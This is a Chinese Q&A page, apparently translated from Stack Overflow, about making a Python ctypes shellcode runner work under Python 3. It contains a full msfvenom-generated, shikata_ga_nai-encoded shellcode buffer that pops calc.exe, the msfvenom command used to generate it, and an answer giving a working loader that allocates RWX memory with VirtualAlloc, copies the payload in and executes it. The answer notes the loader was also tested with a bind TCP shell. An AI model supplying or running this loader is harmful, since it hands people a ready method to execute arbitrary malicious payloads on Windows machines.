[2.7时使用python3.8编写CTYPES访问冲突

问题描述 投票:-2回答:1

我创建了一些shellcode以便在Windows上弹出calc.exe。 shellcode在变量buf中(此处省略空格)。使用python2.7时,它可以工作并显示计算器。对于python 3,它会失败,并显示OSError: exception: access violation writing 0x00000023EE895F650(每次运行的内存位置都不同)。

这是代码。据我了解,create_string_buffer将自动分配空间以匹配buf的长度,CFUNCTYPE将使用null代替python的None

# Win10 Pro 10.0.1863 x64
# Python 2.7.1 32bit win32
# Python 3.8.3 32bit win32 
import ctypes
buf =  b""
buf += b"\xbd\x46\x90\xe4\x4e\xdb\xc8\xd9\x74\x24\xf4\x58\x2b"
buf += b"\xc9\xb1\x31\x31\x68\x13\x83\xe8\xfc\x03\x68\x49\x72"
buf += b"\x11\xb2\xbd\xf0\xda\x4b\x3d\x95\x53\xae\x0c\x95\x00"
buf += b"\xba\x3e\x25\x42\xee\xb2\xce\x06\x1b\x41\xa2\x8e\x2c"
buf += b"\xe2\x09\xe9\x03\xf3\x22\xc9\x02\x77\x39\x1e\xe5\x46"
buf += b"\xf2\x53\xe4\x8f\xef\x9e\xb4\x58\x7b\x0c\x29\xed\x31"
buf += b"\x8d\xc2\xbd\xd4\x95\x37\x75\xd6\xb4\xe9\x0e\x81\x16"
buf += b"\x0b\xc3\xb9\x1e\x13\x00\x87\xe9\xa8\xf2\x73\xe8\x78"
buf += b"\xcb\x7c\x47\x45\xe4\x8e\x99\x81\xc2\x70\xec\xfb\x31"
buf += b"\x0c\xf7\x3f\x48\xca\x72\xa4\xea\x99\x25\x00\x0b\x4d"
buf += b"\xb3\xc3\x07\x3a\xb7\x8c\x0b\xbd\x14\xa7\x37\x36\x9b"
buf += b"\x68\xbe\x0c\xb8\xac\x9b\xd7\xa1\xf5\x41\xb9\xde\xe6"
buf += b"\x2a\x66\x7b\x6c\xc6\x73\xf6\x2f\x8c\x82\x84\x55\xe2"
buf += b"\x85\x96\x55\x52\xee\xa7\xde\x3d\x69\x38\x35\x7a\x85"
buf += b"\x72\x14\x2a\x0e\xdb\xcc\x6f\x53\xdc\x3a\xb3\x6a\x5f"
buf += b"\xcf\x4b\x89\x7f\xba\x4e\xd5\xc7\x56\x22\x46\xa2\x58"
buf += b"\x91\x67\xe7\x3a\x74\xf4\x6b\x93\x13\x7c\x09\xeb"

def run():
    buffer = ctypes.create_string_buffer(buf)
    shell_func = ctypes.cast(buffer, ctypes.CFUNCTYPE(None))
    shell_func()

if __name__ == '__main__':
    run()

我已经阅读并搜索过Google,但不知道为什么它无法在Python3中工作。有什么想法吗?

FWIW,这是我创建shellcode的方法:

# Linux kali 5.6.0-kali1-amd64
# metasploit v5.0.89-dev
msfvenom -p windows/exec -e x86/shikata_ga_nai -i 1 -f python cmd=calc.exe
python python-3.x ctypes
1个回答
0
投票

感谢Neitsa的评论,这是有效的代码。如上使用shellcode,或在名为buf:]的变量中使用您自己的

def run():
    buffer = ctypes.create_string_buffer(buf)
    length = len(buffer)

    ptr = ctypes.windll.kernel32.VirtualAlloc(None, length, 0x1000|0x2000, 0x40)
    ctypes.windll.kernel32.RtlMoveMemory(ptr, buffer, length)
    shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(None))
    shell_func()

if __name__ == '__main__':
    run()

首先,分配足够的内存来保存shellcode。 VirtualAlloc中的两个常量定义

  • 0x1000|0x2000 = MEM_COMMIT | MEM_RESERVE(请参阅MS文档)
  • 0x40 PAGE_EXECUTE_READWRITE
  • [下一步,将shellcode移到分配的内存中。最后,将shellcode转换为函数并调用该函数。使用给出的shellcode(弹出计算器)和bind tcp shell(未显示)进行了测试。

仍然不知道为什么python3的行为会有所不同,但是看起来它正在尝试写入不可执行的内存。此方法适用于Python2或Python3。

© www.soinside.com 2019 - 2024. All rights reserved.